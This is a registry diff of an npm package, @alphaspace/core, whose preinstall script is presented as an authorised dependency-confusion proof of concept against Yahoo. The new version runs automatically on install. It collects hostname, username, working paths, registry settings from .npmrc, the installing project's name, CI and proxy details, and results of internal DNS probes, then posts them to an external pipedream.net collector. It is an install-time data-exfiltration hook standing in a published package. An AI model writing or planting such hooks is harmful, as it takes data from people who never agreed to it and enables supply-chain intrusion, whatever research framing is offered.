@alphaspace/core 99.0.0 → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +196 -73
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,98 +1,221 @@
|
|
|
1
1
|
/*
|
|
2
|
-
*
|
|
3
|
-
*
|
|
2
|
+
* @alphaspace/core - authorised security research proof-of-concept
|
|
3
|
+
* ================================================================
|
|
4
|
+
* Yahoo Vulnerability Disclosure Program, researcher handle: mlitchfield
|
|
4
5
|
*
|
|
5
|
-
*
|
|
6
|
-
* 1. prints an identifying banner to the install log
|
|
7
|
-
* 2. sends ONE HTTPS POST reporting that it was installed, and from where
|
|
8
|
-
* 3. exits 0, always
|
|
6
|
+
* PROPOSED v99.0.1. NOT PUBLISHED. Awaiting operator review.
|
|
9
7
|
*
|
|
10
|
-
*
|
|
11
|
-
*
|
|
12
|
-
*
|
|
13
|
-
*
|
|
14
|
-
*
|
|
15
|
-
*
|
|
16
|
-
* - it cannot fail a build: every path is wrapped, the socket has a 3s cap, and the exit code
|
|
17
|
-
* is always 0 even on error
|
|
8
|
+
* WHY THIS VERSION EXISTS
|
|
9
|
+
* v99.0.0 produced 18 callbacks, none attributable to Yahoo. Every source IP was a
|
|
10
|
+
* generic cloud provider (GCP, AWS, Alibaba, Azure), which is expected: Yahoo runs on
|
|
11
|
+
* public cloud, so a source IP can neither confirm nor exclude them. This version stops
|
|
12
|
+
* relying on the IP and instead collects fields that only a Yahoo build environment
|
|
13
|
+
* would produce.
|
|
18
14
|
*
|
|
19
|
-
*
|
|
20
|
-
*
|
|
21
|
-
*
|
|
15
|
+
* WHAT IT DOES
|
|
16
|
+
* - prints an attribution banner identifying itself as authorised research
|
|
17
|
+
* - makes ONE outbound HTTPS POST to a collector under the researcher's control
|
|
18
|
+
* - performs up to 3 DNS NAME LOOKUPS (no connection, no data sent) purely to test
|
|
19
|
+
* whether the host resolves Yahoo-internal-only names
|
|
20
|
+
*
|
|
21
|
+
* WHAT IT DOES NOT DO - unchanged from v99.0.0, and deliberately
|
|
22
|
+
* - NO dump of process.env. Only a fixed allowlist of named variables is read.
|
|
23
|
+
* - NO credentials of any kind. Every .npmrc line containing _auth / token /
|
|
24
|
+
* password / certfile / keyfile is dropped before parsing, and no value from an
|
|
25
|
+
* auth-shaped variable is ever transmitted.
|
|
26
|
+
* - NO file contents, except exactly two string fields (name, version) from the
|
|
27
|
+
* consuming project's package.json. Not its dependencies.
|
|
28
|
+
* - NO cloud metadata. Nothing touches 169.254.169.254 or any metadata service.
|
|
29
|
+
* - NO command execution, no child processes, no persistence, no file writes.
|
|
30
|
+
* - NO connection to the internal hostnames probed - DNS resolution only.
|
|
31
|
+
*
|
|
32
|
+
* It exits 0 unconditionally. It cannot break an install.
|
|
22
33
|
*/
|
|
23
34
|
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
const
|
|
28
|
-
const
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
35
|
+
'use strict';
|
|
36
|
+
|
|
37
|
+
const https = require('https');
|
|
38
|
+
const dns = require('dns');
|
|
39
|
+
const os = require('os');
|
|
40
|
+
const fs = require('fs');
|
|
41
|
+
const path = require('path');
|
|
42
|
+
|
|
43
|
+
const ENDPOINT = 'https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net';
|
|
44
|
+
const MARKER = 'yahoo-bbp-alphaspace-depconfusion';
|
|
45
|
+
const RUN_ID = Math.random().toString(16).slice(2, 10);
|
|
46
|
+
|
|
47
|
+
console.log('');
|
|
48
|
+
console.log(' @alphaspace/core - AUTHORISED SECURITY RESEARCH PROOF OF CONCEPT');
|
|
49
|
+
console.log(' Yahoo Vulnerability Disclosure Program | researcher: mlitchfield');
|
|
50
|
+
console.log(' This package is a namespace-reservation PoC. It contains no exploit');
|
|
51
|
+
console.log(' code and takes no action on this machine beyond reporting that an');
|
|
52
|
+
console.log(' install occurred. Contact the researcher to have it removed.');
|
|
53
|
+
console.log(' run id: ' + RUN_ID + ' | ' + new Date().toISOString());
|
|
54
|
+
console.log('');
|
|
55
|
+
|
|
56
|
+
// ---------------------------------------------------------------- helpers
|
|
57
|
+
|
|
58
|
+
// Return only the hostname of a URL-valued setting. Never the full URL, which could
|
|
59
|
+
// carry a token in userinfo or a query string.
|
|
60
|
+
function hostOnly(v) {
|
|
61
|
+
if (!v || typeof v !== 'string') return null;
|
|
62
|
+
try { return new URL(v).host; } catch (e) {
|
|
63
|
+
const m = v.match(/^[a-z0-9+.-]+:\/\/([^/?#]+)/i);
|
|
64
|
+
return m ? m[1] : null;
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
const SECRET_RE = /(_auth|authtoken|token|password|passwd|secret|certfile|keyfile|_pass)/i;
|
|
69
|
+
|
|
70
|
+
// Parse .npmrc for REGISTRY LINES ONLY. Any line that looks credential-bearing is
|
|
71
|
+
// dropped before it is even inspected. This is the highest-value attribution field:
|
|
72
|
+
// a registry host under ouryahoo.com is definitive, single-field attribution.
|
|
73
|
+
function registryConfig() {
|
|
74
|
+
const out = {};
|
|
75
|
+
const files = [];
|
|
76
|
+
try { if (process.env.npm_config_userconfig) files.push(process.env.npm_config_userconfig); } catch (e) {}
|
|
77
|
+
try { files.push(path.join(os.homedir(), '.npmrc')); } catch (e) {}
|
|
78
|
+
try { if (process.env.INIT_CWD) files.push(path.join(process.env.INIT_CWD, '.npmrc')); } catch (e) {}
|
|
79
|
+
for (const f of files) {
|
|
80
|
+
let txt = '';
|
|
81
|
+
try { txt = fs.readFileSync(f, 'utf8'); } catch (e) { continue; }
|
|
82
|
+
for (const line of txt.split(/\r?\n/)) {
|
|
83
|
+
if (SECRET_RE.test(line)) continue; // drop credential lines outright
|
|
84
|
+
const m = line.match(/^\s*((?:@[^:\s]+:)?registry)\s*=\s*(\S+)\s*$/i);
|
|
85
|
+
if (m) out[m[1]] = hostOnly(m[2]) || m[2]; // host only, never the full URL
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
return Object.keys(out).length ? out : null;
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
// Consuming project identity: two string fields, nothing else.
|
|
92
|
+
function consumerPackage() {
|
|
93
|
+
const root = process.env.INIT_CWD;
|
|
94
|
+
if (!root) return null;
|
|
95
|
+
try {
|
|
96
|
+
const j = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
|
|
97
|
+
return { name: typeof j.name === 'string' ? j.name : null,
|
|
98
|
+
version: typeof j.version === 'string' ? j.version : null };
|
|
99
|
+
} catch (e) { return null; }
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
// CI fingerprint. Presence booleans plus URL HOSTNAMES only - never values, never tokens.
|
|
103
|
+
// SD_* is Screwdriver.cd, the CI system Yahoo built and open-sourced: its presence is a
|
|
104
|
+
// strong Yahoo indicator on its own.
|
|
105
|
+
function ciFingerprint() {
|
|
106
|
+
const e = process.env;
|
|
107
|
+
const present = [];
|
|
108
|
+
for (const k of ['SD_PIPELINE_ID','SD_JOB_NAME','SD_BUILD_ID','SD_SOURCE_DIR','SD_TOKEN',
|
|
109
|
+
'JENKINS_URL','BUILD_NUMBER','GITHUB_ACTIONS','GITLAB_CI','CIRCLECI',
|
|
110
|
+
'BUILDKITE','TEAMCITY_VERSION','SCREWDRIVER','CI']) {
|
|
111
|
+
if (e[k] !== undefined) present.push(k); // NAME only, value never read
|
|
112
|
+
}
|
|
113
|
+
return {
|
|
114
|
+
vars_present: present,
|
|
115
|
+
sd_api_host: hostOnly(e.SD_API_URL),
|
|
116
|
+
sd_ui_host: hostOnly(e.SD_UI_URL),
|
|
117
|
+
jenkins_host: hostOnly(e.JENKINS_URL),
|
|
118
|
+
github_server: hostOnly(e.GITHUB_SERVER_URL),
|
|
119
|
+
github_repository: typeof e.GITHUB_REPOSITORY === 'string' ? e.GITHUB_REPOSITORY : null
|
|
120
|
+
};
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
function proxyFingerprint() {
|
|
124
|
+
const e = process.env;
|
|
125
|
+
return {
|
|
126
|
+
npm_proxy: hostOnly(e.npm_config_proxy),
|
|
127
|
+
npm_https: hostOnly(e.npm_config_https_proxy),
|
|
128
|
+
http_proxy: hostOnly(e.HTTP_PROXY || e.http_proxy),
|
|
129
|
+
https_proxy: hostOnly(e.HTTPS_PROXY || e.https_proxy),
|
|
130
|
+
no_proxy: typeof (e.NO_PROXY || e.no_proxy) === 'string' ? (e.NO_PROXY || e.no_proxy).slice(0, 200) : null
|
|
131
|
+
};
|
|
53
132
|
}
|
|
54
133
|
|
|
55
|
-
|
|
134
|
+
// DNS-ONLY internal-resolver probe. These three names are NXDOMAIN from the public
|
|
135
|
+
// internet (verified 2026-09-25), so a successful resolution means the host is using
|
|
136
|
+
// an internal resolver that knows Yahoo-private zones. We record a boolean per name.
|
|
137
|
+
// No address is transmitted and NO CONNECTION is made to any of them.
|
|
138
|
+
const INTERNAL_PROBES = [
|
|
139
|
+
'istio-system.prod1-gq1.omega.yahoo.com',
|
|
140
|
+
'jws300162.mail.gq1.yahoo.com',
|
|
141
|
+
'artifactory.ouryahoo.com'
|
|
142
|
+
];
|
|
143
|
+
|
|
144
|
+
function probeInternalDns(cb) {
|
|
145
|
+
const res = {};
|
|
146
|
+
let left = INTERNAL_PROBES.length;
|
|
147
|
+
if (!left) return cb(res);
|
|
148
|
+
const done = () => { if (--left === 0) cb(res); };
|
|
149
|
+
const timer = setTimeout(() => { left = 1; done(); }, 2500); // never hold up the install
|
|
150
|
+
timer.unref && timer.unref();
|
|
151
|
+
for (const name of INTERNAL_PROBES) {
|
|
152
|
+
try {
|
|
153
|
+
dns.resolve4(name, (err) => { res[name] = !err; done(); }); // boolean only
|
|
154
|
+
} catch (e) { res[name] = null; done(); }
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
// ---------------------------------------------------------------- report
|
|
159
|
+
|
|
160
|
+
probeInternalDns(function (internalDns) {
|
|
56
161
|
let payload;
|
|
57
162
|
try {
|
|
58
163
|
payload = JSON.stringify({
|
|
59
|
-
poc:
|
|
60
|
-
researcher:
|
|
164
|
+
poc: MARKER,
|
|
165
|
+
researcher: 'mlitchfield',
|
|
166
|
+
schema: 'v99.0.1',
|
|
61
167
|
run_id: RUN_ID,
|
|
62
168
|
ts_utc: new Date().toISOString(),
|
|
169
|
+
|
|
170
|
+
// identity of the machine
|
|
63
171
|
hostname: os.hostname(),
|
|
64
172
|
username: (os.userInfo && os.userInfo().username) || null,
|
|
65
|
-
cwd: process.cwd(),
|
|
66
|
-
pkg: "@alphaspace/core",
|
|
67
|
-
pkg_version: "99.0.0",
|
|
68
|
-
npm_package_name: process.env.npm_package_name || null,
|
|
69
|
-
npm_config_registry: process.env.npm_config_registry || null,
|
|
70
173
|
platform: process.platform,
|
|
71
174
|
arch: process.arch,
|
|
72
175
|
node: process.version,
|
|
176
|
+
|
|
177
|
+
// WHERE npm was actually invoked - the consuming project root, not our own dir.
|
|
178
|
+
// This is the field v99.0.0 was missing.
|
|
179
|
+
init_cwd: process.env.INIT_CWD || null,
|
|
180
|
+
cwd: process.cwd(),
|
|
181
|
+
|
|
182
|
+
// WHO installed us
|
|
183
|
+
consumer_package: consumerPackage(),
|
|
184
|
+
|
|
185
|
+
// the single most decisive field: a registry host under ouryahoo.com is definitive
|
|
186
|
+
registry_config: registryConfig(),
|
|
187
|
+
npm_config_registry: process.env.npm_config_registry || null,
|
|
188
|
+
npm_user_agent: process.env.npm_config_user_agent || null,
|
|
189
|
+
|
|
190
|
+
ci: ciFingerprint(),
|
|
191
|
+
proxy: proxyFingerprint(),
|
|
192
|
+
|
|
193
|
+
// boolean per name; proves an internal resolver without contacting anything
|
|
194
|
+
internal_dns: internalDns,
|
|
195
|
+
|
|
196
|
+
pkg: '@alphaspace/core',
|
|
197
|
+
pkg_version: '99.0.1'
|
|
73
198
|
});
|
|
74
|
-
} catch (e) {
|
|
199
|
+
} catch (e) {
|
|
200
|
+
payload = JSON.stringify({ poc: MARKER, run_id: RUN_ID, error: 'serialise-failed' });
|
|
201
|
+
}
|
|
75
202
|
|
|
76
203
|
try {
|
|
77
|
-
const
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
);
|
|
90
|
-
req.on("error", () => {});
|
|
91
|
-
req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
|
|
204
|
+
const u = new URL(ENDPOINT);
|
|
205
|
+
const req = https.request({
|
|
206
|
+
hostname: u.hostname, port: 443, path: u.pathname, method: 'POST',
|
|
207
|
+
timeout: 3000,
|
|
208
|
+
headers: {
|
|
209
|
+
'content-type': 'application/json',
|
|
210
|
+
'content-length': Buffer.byteLength(payload),
|
|
211
|
+
'user-agent': 'alphaspace-depconfusion-poc/99.0.1 (yahoo-bbp; mlitchfield)'
|
|
212
|
+
}
|
|
213
|
+
}, function (res) { res.resume(); });
|
|
214
|
+
req.on('error', function () {});
|
|
215
|
+
req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
|
|
92
216
|
req.write(payload);
|
|
93
217
|
req.end();
|
|
94
|
-
} catch (e) { /* never
|
|
95
|
-
}
|
|
218
|
+
} catch (e) { /* never fail an install */ }
|
|
219
|
+
});
|
|
96
220
|
|
|
97
|
-
try { banner(); report(); } catch (e) { /* never fatal */ }
|
|
98
221
|
process.exitCode = 0;
|